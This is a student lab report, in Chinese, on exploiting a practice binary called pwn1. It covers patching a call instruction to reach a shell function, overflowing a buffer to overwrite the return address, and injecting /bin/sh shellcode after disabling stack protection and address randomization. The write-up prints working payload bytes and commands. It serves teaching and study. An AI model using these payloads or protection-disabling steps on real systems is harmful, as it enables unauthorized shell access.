Exp1 PC平台逆向破解(5)M

Exp1 PC平台逆向破解(5)M

【 直接修改程序机器指令,改变程序执行流程】

  • 用命令cp pwn1 20155320备份pwn1
  • 输入objdump -d 20155320反汇编,找到call指令,现在就是要把call指令里原来foo的地址换成getshell的地址。
    • getshell的地址是:0804847d
    • foo的地址是:08048491

1071521-20180316225547709-1606728768.png

1071521-20180316230013280-642358210.png

通过计算,getshell和foo的地址相对偏移量为14,所以d7-14=c3,从c3即为所被改为的地址

  • 依次输入以下命令,修改call指令里的内容,因为call为调用所以修改call里面的内容即能修改调用的函数,e8也代表调用。

    • vi 20155320

    1.按ESC键

    2.输入如下,将显示模式切换为16进制模式:%!xxd

    • 3.查找要修改的内容/e8 d7

1071521-20180316231106176-146535747.png
- 找到后用以下命令完成将e8d7改为e8c3修改即可
```
修改d7为c3

PS:这个必须要做 转换16进制为原格式:%!xxd -r

存盘退出vi:wq

```

1071521-20180316231601693-747019203.png

【通过构造输入参数,造成BOF攻击,改变程序执行流】

  • 通过反汇编objdump -d pwn1 | more,确定foo和getshell两段函数的地址。

1071521-20180315230213182-101445240.png

  • 输入1111111122222222333333334444444455555555通过gdb调试,找到eip中的内容是5的ASCII码,eip存储的是下条指令的地址,所以发现是输入的5字段覆盖了eip的地址。
    1071521-20180315230104464-1807059613.png

1071521-20180315230132624-1159500463.png

然后进一步输入1111111122222222333333334444444412345678,找到是1234这几个数字会覆盖返回地址。

1071521-20180315230205324-1952939880.png

  • 输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input把这1234四个字符替换为 getShell 的内存地址

1071521-20180315230222642-1301508839.png

1071521-20180315230232817-960861846.png

【注入Shellcode并执行】

  • 做好实验前的准备,依次输入以下命令
execstack -s pwn1    //设置堆栈可执行

execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1

more /proc/sys/kernel/randomize_va_space 
2

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

more /proc/sys/kernel/randomize_va_space 
0

1071521-20180315222238898-610698243.png

注:后续将pwn3重命名为p5320了

  • Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode

    • nop+shellcode+retaddr。

通过尝试发现本实验采用的实际是anything+retaddr+nops+shellcode。

  • 输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

1071521-20180315222253978-1718440931.png

  • 接着输入(cat input_shellcode;cat) | ./pwn1注入攻击
  • 再开另外一个终端,用gdb来调试pwn1这个进程,来计算shellcode的地址。

    • 输入ps -ef | grep p5320得到进程号为1807

    1071521-20180315223224299-760000916.png

    • 用gdb调试,需要设断点在地址0x080484ae

    1071521-20180315223833936-1851089335.png

    • 调试,找到esp的地址为0xffffd27c,计算得到需要注入的地址为0xffffd27c+0x00000004=0xffffd280

    1071521-20180315224154364-1540234442.png

  • 输入命令perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode修改地址,输入(cat input_shellcode;cat) | ./p5320完成注入攻击,结果如下。

1071521-20180315224948403-1886758755.png

【实验中遇到的问题及解决】

  • 在查找进程号时,我先在开的第一个终端上回车,出现了老师给的图示结果后再开的第二个终端输入查找进程的命令,结果出现如下问题,找不到进程号。

1071521-20180315225436946-211789413.png

  • 【解决】后来我发现不能等到出现结果后再开,而应该先开第二个终端。

【总结】

缓冲区溢出实验我曾经在娄老师的课上做过一次,但是是按步骤一步一步做的,并没有实际理解,而且还把虚拟机弄崩了...。这次更加理解了实验的原理,主要是通过修改返回地址调用地址之类的原理,将这些地址改为指向想要执行的代码,虽然更深层次的还不太会,基本简单的攻击思路还是理清了。

转载于:https://www.cnblogs.com/ljq1997/p/8586376.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值